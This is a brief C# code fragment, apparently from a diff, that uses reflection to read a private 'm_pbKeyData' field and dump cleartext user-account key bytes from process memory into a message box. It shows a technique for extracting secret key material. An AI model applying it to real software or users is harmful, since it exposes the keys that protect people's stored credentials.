// So technically, we don't even need to extract this one from the current process, since it's accessible by any program
|
||||
// running in this user's context. But just for good measure (and to keep code simple), I'll extract this from memory too.
|
||||
var userAccData = key.GetFieldInstance("m_pbKeyData");
|
||||
byte[] userAccDataClear = (byte[])userAccData.RunMethodInstance("ReadData");
|
||||
var userAccDataClear = (byte[])userAccData.RunMethodInstance("ReadData");
|
||||
MessageBox.Show("Extracted UserAccount data:\n" + string.Join("-", userAccDataClear.Select(x => x.ToString("X2"))), key.GetType().Name);
|
||||
break;
|
||||
}
|
||||
|
|
Загрузка…
Ссылка в новой задаче